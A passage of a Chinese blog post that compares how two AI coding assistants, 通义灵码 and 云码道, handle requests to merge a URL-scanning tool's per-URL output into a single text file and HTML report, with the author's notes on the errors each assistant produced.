0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">二、智能体功能对比</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">安装完进去，基本功能都大差不差，云码道多了“猜你想问“和”更新代办”。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5027777777777778" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038611" src="https://wechat2rss.xlab.app/img-proxy/?k=7e36880e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXO9OyKCUxM8rBTKwrdMO4x4FQ4MvlbVtygicIJKCv2KjfwjVZUk97LSzbwfMNynHHSnzeKr67EkyoJ6Mm9JgyCRFZmgNYovibJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">要提一嘴，通义灵码对有代码改动的地方会提示，个人很喜欢这个功能，可以借此学习原本代码哪里有问题，红色的是删除的，绿色的是新增</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5888501742160279" data-type="png" data-w="861" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038612" src="https://wechat2rss.xlab.app/img-proxy/?k=b7dcee76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXGpvicEJPswPOMowiakpfftibgzqDXsiaUfzB40KbacUIqPpAJEHgFVmWPDgATpFiaFDG7GMic0ruckcQZkkPR2JswyaMnqgyHtOwh4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">三、实践一下</span></span></h1><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat transparent;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: center;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding: 0px;align-items: center;background: no-repeat transparent;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">1、我要解决的问题-以优化扶摇（fuyio）功能为例</span></span></h2><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">批量扫描执行生成的结果文件会按url拆分成多个文件，我希望不要再拆分了，每个任务每次只会生成一个文件。</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">优化生成的HTML文件，增加导航功能我现在报告生成是这样的，批量执行完后，会每个给url生成文件，这样会导致如果一次扫十几个url，生成的文件个数过多，而且能看出来现在的报告没有快捷导航标签，查看也不是那么的方便，那么分别让两个智能体在此基础上进行修改，看看结果。</span></p></div></li></ol><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4398148148148148" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038610" src="https://wechat2rss.xlab.app/img-proxy/?k=79f90b77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXtC7zTWPxtOVFTFuEyERYb4SVwBdCiady0nqYRyo2AGGUOUdlrP9Nl37zcnLIGA75vVA9TpYHTqezCxPibkZHBLcPRHiaceSI8ibY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">2、利用AI实现第一个功能</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第一次对话：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">修改代码，批量扫描时，只生成一个敏感文件.txt和一个详细匹配报告.html,里面包含所有扫描的url以及结果。不要再每扫描一个url就生成一个文件了。</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第一次结果 通义灵码：程序报错！</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.31296296296296294" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038613" src="https://wechat2rss.xlab.app/img-proxy/?k=476c9a39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXsVnlquVVS6FIdJdN3G6OEWCUyHjFX9Ffesbwk2iaHdlILELO1zaK8rePBMuPAcFiapJjpFbnYQfWQmsGZmYN6qIOEaNMlbZ7rU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">看一下生成的报告，html文件的数量没问题说明满足了我的需求，但txt文件生成有问题仅有一个url的内容且程序报错</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43501611170784105" data-type="png" data-w="931" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038609" src="https://wechat2rss.xlab.app/img-proxy/?k=5986801f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdU7Bhrs4vHEpA12CiaYhichFicic9ibWCau7gGGUnDFoGZTrOJ3pib6CUTVcdaugZxHIelKVVgTmt1TOht8Tbzb1rXEk6vDPU2xSVCf4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">云码道：不报错，的确生成了一个文件。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14221556886227546" data-type="png" data-w="668" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038614" src="https://wechat2rss.xlab.app/img-proxy/?k=513fe32a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVo1bkQNmHF644ouC4LctmjWOHkdFk5GWicKicSJAY90xcCyC5SFMzOTyib7gU62t2HzcAAg8iawRk3PzKlQibKg71CjwiaA1HFkYMSM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">看一下生成的报告，有问题，怎么只有一个URL的，并且和通义灵码一样txt也是只有一个url的内容</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3766546329723225" data-type="png" data-w="831" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038618" src="https://wechat2rss.xlab.app/img-proxy/?k=f1a36e11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdX4wlicP2IZicDQWia2NtnuJwdj5KwS8pFoFEvflMPpgg97hEDJTwoXic4FxzXF5icaM6iaGNmGbRvlQJ0xA4jPywQpznjAw3XhblpA0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第二次对话：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">to灵码：bababablalala（此处省略无数个报错信息）NameError: name &#39;base_url&#39; is not defined程序执行后报错了</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">to云码道：现在生成的敏感文件.txt和详细匹配报告.html文件里只有一个URL的，没有记录到第二个URL的内容，请修改</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第二次结果通义灵码不报错了生成的文件也没有问题，提示的信息有点多，这个就回头手动改吧（去掉print再懒就要变成树袋熊了）</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.15163934426229508" data-type="png" data-w="732" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038615" src="https://wechat2rss.xlab.app/img-proxy/?k=b4c55768&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXEDRlovzGJFooypRMplzUtB8vsZId3StRHIvptTKHhvtENhtXM9IJNrpHGYBs6ZqUy7ahx9B3sA3Bvhsly7MgVeG1vpIRmoBw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">云码道报错了且没有生成对应文件！（好好好，你俩此起彼伏的）</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2178030303030303" data-type="png" data-w="1056" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038617" src="https://wechat2rss.xlab.app/img-proxy/?k=ce11a669&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdV0zWfL8V5xz6csIo2nmKKKib8FPIvmW3GMYPA8a4VrErK956LFJAymVKbyz9ia2qYYcyd22HgXV1ERUWaLvgOnuicGFKac7zIDhs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9197530864197531" data-type="png" data-w="162" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038616" src="https://wechat2rss.xlab.app/img-proxy/?k=c5fd744a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWx7yn5KILIdSiaiaLaum8rk9s1e0jIJibK8PY3EcRQC2NpQFSWUiaPWibrv09icujMlMTaBQOYtahQwVmiayppIdWuPsBfTCic6LXPRH4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">第三次对话：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: 